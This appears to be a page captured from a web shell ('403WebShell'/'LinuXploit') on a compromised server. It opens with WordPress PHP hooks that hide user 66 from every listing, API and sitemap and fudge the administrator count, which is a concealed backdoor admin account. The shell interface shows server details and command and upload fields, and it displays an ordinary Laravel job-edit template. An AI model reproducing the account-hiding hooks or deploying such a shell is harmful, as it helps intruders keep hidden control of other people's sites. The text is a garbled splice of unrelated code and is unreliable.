add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/storage/framework/views/b80d3b51bac80b0c9a6d21112c203c71.php
<?php $__env->startSection('content'); ?>
<?php
  // Normalize mode
  $isEdit = ($mode ?? null) === 'edit';
  $pageTitle = $isEdit ? 'Edit Job' : 'Create Job';
?>

<div class="container py-5" style="min-height: 100vh;">
  <div class="row">
    <div class="col-md-12">
      <div class="mb-4 text-start">
        <h1 class="fw-bold display-5"><?php echo e($pageTitle); ?></h1>
        <p class="text-muted">
          Select a profession to auto-fill core qualifications. Uncheck any you don’t require for this job.
        </p>
      </div>
    </div>
  </div>

  <?php if(session('success')): ?>
    <div class="alert alert-success"><?php echo e(session('success')); ?></div>
  <?php endif; ?>
  <?php if($errors->any()): ?>
    <div class="alert alert-danger"><?php echo e($errors->first()); ?></div>
  <?php endif; ?>

  <div class="row">
    <div class="card border-0 shadow">
      <div class="card-body p-4">
        <form method="POST"
              action="<?php echo e($isEdit ? route('jobs.update', $job->id) : route('jobs.store')); ?>"
              id="jobForm">
          <?php echo csrf_field(); ?>
          <?php if($isEdit): ?>
            <?php echo method_field('PUT'); ?>
          <?php endif; ?>

          
          <div class="row g-3">
            <div class="col-md-6 mb-3">
              <div class="mb-3">
                <label class="form-label">Job title <span class="text-danger">*</span></label>
                <input type="text"
                       name="title"
                       class="form-control"
                       required
                       value="<?php echo e(old('title', $isEdit ? ($job->title ?? '') : '')); ?>"
                       placeholder="e.g. Registered Nurse – Geriatrics">
              </div>

              <div class="mb-3">
                <label class="form-label">Profession <span class="text-danger">*</span></label>
                <select name="profession_id" id="profession_id" class="form-select" required>
                  <option value="" <?php echo e($isEdit ? '' : 'selected disabled'); ?>>— Select a profession —</option>
                  <?php $__currentLoopData = $professions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $p): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <option value="<?php echo e($p->id); ?>" <?php echo e(old('profession_id', $isEdit ? $job->profession_id : null) == $p->id ? 'selected' : ''); ?>>
                      <?php echo e($p->title); ?>

                    </option>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
                <div class="form-text">Base requirements will load from the selected profession.</div>
              </div>

              <div class="mb-3">
                <label class="form-label">Description <span class="text-danger">*</span></label>
                <textarea class="form-control"
                        required
                          name="description"
                          rows="4"
                          placeholder="Describe the role, responsibilities, shift expectations…"><?php echo e(old('description', $isEdit ? ($job->description ?? '') : '')); ?></textarea>
              </div>

              <div>
                <label class="form-label">External job posting URL</label>
                <input type="url"
                       class="form-control"
                       name="external_url"
                       value="<?php echo e(old('external_url', $isEdit ? ($job->external_url ?? '') : '')); ?>"
                       placeholder="https://example.com/job/12345">
              </div>
            </div>

            <div class="col-md-6">
              <div class="mb-3">
                <label class="form-label">Country</label>
                <?php $countryValue = old('country', $isEdit ? $job->country : ''); ?>
                <select name="country" id="country" class="form-select">
                  <option value="">Select country…</option>
                  <?php $__currentLoopData = $countries; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $country): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <option value="<?php echo e($country->code); ?>" <?php echo e($countryValue === $country->code ? 'selected' : ''); ?>>
                      <?php echo e($country->name); ?>

                    </option>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
                <small class="form-text text-muted">Or leave empty if not applicable</small>
              </div>

              <div class="mb-3">
                <label class="form-label">City</label>
                <input type="text"
                       class="form-control"
                       name="city"
                       value="<?php echo e(old('city', $isEdit ? ($job->city ?? '') : '')); ?>"
                       placeholder="City">
              </div>

              <div>
                <label class="form-label">Status</label>
                <?php $statusVal = (int) old('status', $isEdit ? (int) $job->status : 0); ?>
                <select class="form-select" name="status">
                  <option value="0" <?php echo e($statusVal===0?'selected':''); ?>>Inactive</option>
                  <option value="1" <?php echo e($statusVal===1?'selected':''); ?>>Active</option>
                </select>
              </div>
            </div>
          </div>

          <hr class="my-4 border-secondary">

          <?php if(!$isEdit): ?>
          
          <div id="baseReqBlock" class="mb-3" style="display:none;">
            <h5 class="fw-bold text-warning mb-2">Base qualifications (from profession)</h5>
            <p class="text-muted mb-2">Uncheck any you want to remove for this job.</p>

            <div id="baseReqList" class="d-flex flex-wrap gap-2"></div>
            
            <div id="baseAllHidden"></div>
          </div>
          <?php endif; ?>

          <?php if($isEdit): ?>
          <hr class="my-4 border-secondary">

          
          <div class="mb-4">
            <h5 class="fw-bold text-success mb-2">
              <i class="bi bi-mortarboard-fill"></i> Profession Baseline Requirements
            </h5>
            <?php if($job->profession && $job->profession->summativeQualification): ?>
              
              <div class="d-flex justify-content-between align-items-start mb-2">
                <div>
                  <p class="text-muted mb-1">
                    Professional degree or certification required for this position
                  </p>
                  <div class="alert alert-info mb-0">
                    <i class="bi bi-info-circle"></i>
                    <strong><?php echo e($job->profession->summativeQualification->title); ?></strong>
                    <p class="mb-0 mt-2 small"><?php echo e($job->profession->summativeQualification->description); ?></p>
                                  <p class="text-muted small">
                This qualification includes <?php echo e($professionSkillsCount); ?> essential skills required for <?php echo e($job->profession->title); ?>.
                <?php if($professionSkillsCount > 0): ?>
                  <button class="btn btn-sm btn-outline-secondary" type="button"
                          data-bs-toggle="collapse"
                          data-bs-target="#includedSkillsCollapse"
                          aria-expanded="false">
                    <i class="bi bi-list"></i> <?php echo e($professionSkillsCount); ?> included skills
                  </button>
                <?php endif; ?>
              </p>

              
              <?php if($professionSkillsCount > 0): ?>
                <div class="collapse mt-2" id="includedSkillsCollapse">
                  <hr class="my-3">
                  <div class="d-flex flex-wrap gap-2">
                    <?php $__currentLoopData = $professionSkills; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $skill): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                      <span class="badge bg-success bg-opacity-25 text-success" style="font-size: 0.85rem; padding: 0.4rem 0.6rem;">
                        <?php echo e($skill->title); ?>

                      </span>
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                  </div>
                </div>
              <?php endif; ?>
                  </div>

                </div>


              </div>


              <input type="hidden" name="existing_requirements[]" value="<?php echo e($job->profession->summativeQualification->id); ?>">
            <?php elseif(!empty($professionBaseline)): ?>
              
              <p class="text-muted">Core skills required for this profession (cannot be modified - these are profession requirements).</p>
              <div class="d-flex flex-wrap gap-2">
                <?php $__currentLoopData = $professionBaseline; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $req): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                  <span class="badge bg-success" style="font-size: 0.9rem; padding: 0.5rem 0.75rem;">
                    <?php echo e($req['title']); ?>

                    <?php if(!empty($req['level'])): ?>
                      <span class="ms-1">(<?php echo e($req['level']); ?>)</span>
                    <?php endif; ?>
                  </span>
                  
                  <input type="hidden" name="existing_requirements[]" value="<?php echo e($req['id']); ?>">
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
              </div>
            <?php else: ?>
              <div class="text-muted">No profession baseline requirements.</div>
            <?php endif; ?>
          </div>

          
          <div class="mb-4">
            <h5 class="fw-bold text-primary mb-2">
              <i class="bi bi-briefcase-fill"></i> Job-Specific Skills
            </h5>
            <p class="text-muted">Toggle whether credentials are required. Uncheck to remove skill entirely.</p>

            <?php
              $allJobSkills = array_merge($mustProveSkills, $niceToHaveSkills);
            ?>

            <?php $__empty_1 = true; $__currentLoopData = $allJobSkills; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $req): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
              <div class="card mb-2">
                <div class="card-body py-2 px-3">
                  <div class="d-flex justify-content-between align-items-center">
                    <div class="d-flex align-items-center flex-grow-1">
                      
                      <input class="form-check-input me-3"
                             type="checkbox"
                             name="existing_requirements[]"
                             id="skill_<?php echo e($req['id']); ?>"
                             value="<?php echo e($req['id']); ?>"
                             checked>
                      <label class="form-check-label mb-0 flex-grow-1" for="skill_<?php echo e($req['id']); ?>">
                        <strong><?php echo e($req['title']); ?></strong>
                        <?php if(!empty($req['level'])): ?>
                          <span class="badge bg-secondary ms-2"><?php echo e($req['level']); ?></span>
                        <?php endif; ?>
                      </label>
                    </div>

                    
                    <div class="form-check form-switch ms-3">
                      <input class="form-check-input"
                             type="checkbox"
                             role="switch"
                             name="skill_informal[<?php echo e($req['id']); ?>]"
                             id="informal_<?php echo e($req['id']); ?>"
                             value="0"
                             <?php echo e(in_array($req, $mustProveSkills) ? 'checked' : ''); ?>>
                      <label class="form-check-label small text-nowrap" for="informal_<?php echo e($req['id']); ?>">
                        <i class="bi bi-shield-check"></i> Must prove
                      </label>
                    </div>
                  </div>
                </div>
              </div>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
              <div class="text-muted">No job-specific skills added yet.</div>
            <?php endif; ?>
          </div>
          <?php endif; ?>

          <hr class="my-4 border-secondary">

          
          <div class="mb-3">
            <h5 class="fw-bold text-warning mb-2">Language requirements</h5>
            <p class="text-muted mb-2">Add required CEFR levels (A1–C2). One entry per language.</p>

            <div class="d-flex flex-wrap gap-2 align-items-center">
              <select id="lang_iso" class="form-select" style="max-width: 280px;">
                <option value="" selected disabled>— Select language —</option>
                <?php $__currentLoopData = $languages; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $lang): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                  <option value="<?php echo e($lang->iso_639_1); ?>"><?php echo e($lang->name); ?></option>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
              </select>

              <select id="lang_level" class="form-select" style="max-width: 140px;">
                <option value="A1">A1</option>
                <option value="A2">A2</option>
                <option value="B1">B1</option>
                <option value="B2" selected>B2</option>
                <option value="C1">C1</option>
                <option value="C2">C2</option>
              </select>

              <button class="btn btn-primary" type="button" id="lang_add">Add</button>
            </div>

            <div id="lang_rows" class="d-flex flex-wrap gap-2 mt-3">
              
              <?php if($isEdit && !empty($existingLanguages)): ?>
                <?php $preIdx=0; ?>
                <?php $__currentLoopData = $existingLanguages; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $row): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                  <span class="skill-chip" data-iso="<?php echo e($row['iso']); ?>">
                    <span><?php echo e($row['title'] ?? $row['iso']); ?> — <?php echo e($row['level']); ?></span>
                    <button type="button" class="remove-chip" aria-label="Remove">&times;</button>
                  </span>
                  <div data-lang-index="<?php echo e($preIdx); ?>">
                    <input type="hidden" name="languages[<?php echo e($preIdx); ?>][iso]"   value="<?php echo e($row['iso']); ?>">
                    <input type="hidden" name="languages[<?php echo e($preIdx); ?>][level]" value="<?php echo e($row['level']); ?>">
                  </div>
                  <?php $preIdx++; ?>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
              <?php endif; ?>
            </div>

            
            <div id="lang_hidden"></div>
          </div>

          <hr class="my-4 border-secondary">

          
          <div class="mb-3">
            <h5 class="fw-bold text-warning mb-2">Job-specific skills</h5>

            <label class="form-label">Search skills (EN)</label>
            <input type="text" id="skill-search" class="form-control" placeholder="Type at least 2 characters…" autocomplete="off">
            <ul id="suggestions-list" class="list-group mt-2" style="max-height:260px; overflow:auto;"></ul>

            <div id="sw_chips" class="d-flex flex-wrap gap-2 mt-3">
              
            </div>
            <div id="sw_hidden"></div>
          </div>

          <div class="mt-4">
            <button type="submit" class="btn btn-success btn-lg">
              <?php echo e($isEdit ? 'Save changes' : 'Create Job'); ?>

            </button>
            <a href="<?php echo e(route('employer.jobs')); ?>" class="btn btn-outline-secondary ms-2">Cancel</a>
          </div>
        </form>

        
        <?php if($isEdit && $job->status != 0): ?>
          <div class="mt-3 pt-3 border-top">
            <?php if($canBeHardDeleted): ?>
              
              <form method="POST" action="<?php echo e(route('jobs.destroy', $job)); ?>" class="d-inline"
                    onsubmit="return confirm('Are you sure you want to permanently delete this job?\n\nThis action cannot be undone. The job and all associated data will be permanently removed from the database.');">
                <?php echo csrf_field(); ?>
                <?php echo method_field('DELETE'); ?>
                <button type="submit" class="btn btn-danger" title="Permanently delete this job">
                  <i class="bi bi-trash"></i> Delete Job
                </button>
              </form>
            <?php else: ?>
              
              <form method="POST" action="<?php echo e(route('jobs.destroy', $job)); ?>" class="d-inline"
                    onsubmit="return confirm('This job is part of existing pathways and cannot be permanently deleted.\n\nClick OK to deactivate this job instead. The job will be hidden but preserved for pathway integrity.');">
                <?php echo csrf_field(); ?>
                <?php echo method_field('DELETE'); ?>
                <button type="submit" class="btn btn-warning" title="This job is part of pathways and can only be deactivated">
                  <i class="bi bi-archive"></i> Deactivate Job
                </button>
              </form>
              <small class="text-muted d-block mt-1">
                <i class="bi bi-info-circle"></i> This job is part of pathways and cannot be permanently deleted
              </small>
            <?php endif; ?>
          </div>
        <?php elseif($isEdit && $job->status == 0): ?>
          <div class="mt-3 pt-3 border-top">
            <button type="button" class="btn btn-secondary" disabled title="Job is already inactive">
              <i class="bi bi-archive"></i> Already Deactivated
            </button>
          </div>
        <?php endif; ?>
      </div>
    </div>
  </div>
</div>


<style>
  .skill-chip {
    background:#1f2a44; color:#fff; border-radius:20px;
    padding:6px 10px; display:inline-flex; align-items:center; gap:8px;
  }
  .skill-chip button { border:none; background:transparent; color:#fff; font-weight:bold; line-height:1; }
  .row_esco      { border-left: 4px solid #0d6efd; }
  .row_lightcast { border-left: 4px solid #20c997; }
</style>


<script>
document.addEventListener('DOMContentLoaded', function () {
  const select        = document.getElementById('profession_id');
  const baseReqBlock  = document.getElementById('baseReqBlock');
  const baseReqList   = document.getElementById('baseReqList');
  const baseAllHidden = document.getElementById('baseAllHidden');

  function escapeHtml(s) {
    return String(s)
      .replace(/&/g,'&amp;').replace(/</g,'&lt;')
      .replace(/>/g,'&gt;').replace(/"/g,'&quot;')
      .replace(/'/g,'&#039;');
  }

  function renderBase(data) {
    baseReqList.innerHTML   = '';
    baseAllHidden.innerHTML = '';

    // Handle summative qualification (single degree/certification)
    if (data.hasSummative && data.summative) {
      baseReqBlock.style.display = 'block';

      const summative = data.summative;
      const alertDiv = document.createElement('div');
      alertDiv.className = 'alert alert-info mb-3';
      alertDiv.innerHTML = `
        <i class="bi bi-info-circle"></i>
        <strong>${escapeHtml(summative.title)}</strong>
        <p class="mb-0 mt-2 small">${escapeHtml(summative.description || '')}</p>
        <p class="mb-0 mt-1 text-muted small">
          This qualification includes ${summative.skillCount} essential skills required for this profession.
        </p>
      `;
      baseReqList.appendChild(alertDiv);

      // Add hidden input for the summative qualification ID
      const hidden = document.createElement('input');
      hidden.type  = 'hidden';
      hidden.name  = 'existing_requirements[]';
      hidden.value = summative.id;
      baseAllHidden.appendChild(hidden);

      return;
    }

    // Handle individual profession baseline skills (fallback)
    const items = data.items || data.qualifications || [];
    if (!items || !items.length) {
      baseReqBlock.style.display = 'none';
      return;
    }
    baseReqBlock.style.display = 'block';

    items.forEach(it => {
      const chip = document.createElement('span');
      chip.className = 'skill-chip';
      chip.innerHTML = `
        <input class="form-check-input me-2" type="checkbox"
               value="${it.qualification_id}"
               id="base_${it.qualification_id}"
               name="base_requirements[]"
               checked>
        <label class="form-check-label mb-0" for="base_${it.qualification_id}">
          ${escapeHtml(it.title)}${it.min_level ? ' <span class="badge bg-secondary ms-2">Level: ' + escapeHtml(it.min_level) + '</span>' : ''}
        </label>
      `;
      baseReqList.appendChild(chip);

      const hidden = document.createElement('input');
      hidden.type  = 'hidden';
      hidden.name  = 'base_all[]';
      hidden.value = it.qualification_id;
      baseAllHidden.appendChild(hidden);
    });
  }

  function loadBaseRequirements(pid) {
    if (!pid) { baseReqBlock.style.display = 'none'; return; }
    fetch(`/jobs/qualifications?profession_id=${encodeURIComponent(pid)}`)
      .then(r => r.json())
      .then(data => renderBase(data))
      .catch(() => { baseReqBlock.style.display = 'none'; });
  }

  // change…
  select.addEventListener('change', () => loadBaseRequirements(select.value));
  // …and initial load (handles edit w/ preselected profession)
  if (select.value) loadBaseRequirements(select.value);
});
</script>


<script>
document.addEventListener('DOMContentLoaded', function () {
  const langRows   = document.getElementById('lang_rows');
  const langHidden = document.getElementById('lang_hidden');
  const isoSel     = document.getElementById('lang_iso');
  const levelSel   = document.getElementById('lang_level');
  const addBtn     = document.getElementById('lang_add');

  // Continue index after preloaded (edit)
  let langIdx = (function() {
    const existing = langRows.querySelectorAll('[data-lang-index]');
    return existing.length;
  })();

  // Track duplicates by ISO
  const selectedIso = new Set(
    Array.from(document.querySelectorAll('input[name^="languages"][name$="[iso]"]')).map(i => i.value)
  );

  addBtn.addEventListener('click', () => {
    const iso = isoSel.value;
    const level = levelSel.value;
    if (!iso || !level) return;
    if (selectedIso.has(iso)) return;
    selectedIso.add(iso);

    const label = isoSel.options[isoSel.selectedIndex]?.text || iso.toUpperCase();

    const chip = document.createElement('span');
    chip.className = 'skill-chip';
    chip.setAttribute('data-iso', iso);
    chip.innerHTML = `
      <span>${escapeHtml(label)} — ${level}</span>
      <button type="button" class="remove-chip" aria-label="Remove">&times;</button>
    `;

    const wrap = document.createElement('div');
    wrap.setAttribute('data-lang-index', String(langIdx));
    wrap.innerHTML = `
      <input type="hidden" name="languages[${langIdx}][iso]" value="${escapeAttr(iso)}">
      <input type="hidden" name="languages[${langIdx}][level]" value="${escapeAttr(level)}">
    `;
    langIdx++;

    chip.querySelector('.remove-chip').addEventListener('click', () => {
      selectedIso.delete(iso);
      chip.remove();
      wrap.remove();
    });

    langRows.appendChild(chip);
    langHidden.appendChild(wrap);
  });

  function escapeHtml(s){return String(s).replace(/[&<>"']/g, m=>({ '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;', "'":'&#039;' }[m]));}
  function escapeAttr(s){return String(s).replace(/[&<>"']/g, m=>({ '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;' }[m]));}

  // Remove preloaded languages (edit) when clicking ×
  langRows.addEventListener('click', function (e) {
    if (!e.target.classList.contains('remove-chip')) return;
    const chip = e.target.closest('.skill-chip');
    if (!chip) return;

    // the hidden pair is rendered right after each chip with data-lang-index in initial preload,
    // but for consistency we’ll find the matching hidden by ISO:
    const iso = chip.getAttribute('data-iso');
    if (iso) {
      const hidden = [...document.querySelectorAll('input[name^="languages"][name$="[iso]"]')]
        .find(i => i.value === iso)?.parentElement;
      if (hidden) hidden.remove();
      selectedIso.delete(iso);
    }
    chip.remove();
  });
});
</script>


<script>
(function(){
  const $search = $('#skill-search');
  const $list   = $('#suggestions-list');
  const $chips  = $('#sw_chips');
  const $hidden = $('#sw_hidden');

  let debounce;
  let skillIdx = 0;
  const selected = new Set();

  $search.on('keyup', function () {
    const query = $(this).val().trim();
    clearTimeout(debounce);
    if (query.length < 2) { $list.empty(); return; }

    debounce = setTimeout(() => {
      $.ajax({
        url: '/ajax/search_item',
        method: 'GET',
        data: { query },
        success: function (response) {
          $list.empty();
          if (!response || !response.length) return;

          response.forEach(function (skill) {
            let rowClass = '';
            if (skill.source === 'esco') rowClass = 'row_esco';
            else if (skill.source === 'lightcast') rowClass = 'row_lightcast';

            $list.append(`
              <li class="list-group-item skill-item ${rowClass}"
                  data-uuid="${skill.uuid}"
                  data-label="${escapeHtml(skill.label)}"
                  data-source="${skill.source ? escapeHtml(skill.source) : ''}"
                  data-url="${skill.external_url ? escapeHtml(skill.external_url) : ''}">
                ${escapeHtml(skill.label)} ${skill.source ? `<small class="text-muted">(${escapeHtml(skill.source)})</small>` : ''}
              </li>
            `);
          });
        }
      });
    }, 250);
  });

  $list.on('click', '.skill-item', function () {
    const uuid   = String($(this).data('uuid'));
    const label  = String($(this).data('label') || uuid);
    const source = String($(this).data('source') || '');
    const url    = String($(this).data('url') || '');

    if (!uuid) return;
    if (selected.has(uuid)) { $list.empty(); $search.val(''); return; }
    selected.add(uuid);

    const idx = skillIdx++;

    const chip = $(`
      <span class="skill-chip" data-uuid="${escapeAttr(uuid)}">
        <span>${label}</span> ${source ? `<small class="opacity-75">(${source})</small>` : ''}
        <button type="button" aria-label="Remove">&times;</button>
      </span>
    `);

    const hidden = $(`
      <div data-skill-index="${idx}">
        <input type="hidden" name="skills[${idx}][uuid]"         value="${escapeAttr(uuid)}">
        <input type="hidden" name="skills[${idx}][label]"        value="${escapeAttr(label)}">
        <input type="hidden" name="skills[${idx}][source]"       value="${escapeAttr(source)}">
        <input type="hidden" name="skills[${idx}][external_url]" value="${escapeAttr(url)}">
      </div>
    `);

    chip.find('button').on('click', function () {
      selected.delete(uuid);
      chip.remove();
      hidden.remove();
    });

    $chips.append(chip);
    $hidden.append(hidden);

    $list.empty();
    $search.val('');
  });

  function escapeHtml(s){return String(s).replace(/[&<>"']/g, m=>({ '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;', "'":'&#039;' }[m]));}
  function escapeAttr(s){return String(s).replace(/[&<>"']/g, m=>({ '&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;' }[m]));}
})();
</script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/employer/job_edit.blade.php ENDPATH**/ ?>

Youez - 2016 - github.com/yon3zu
LinuXploit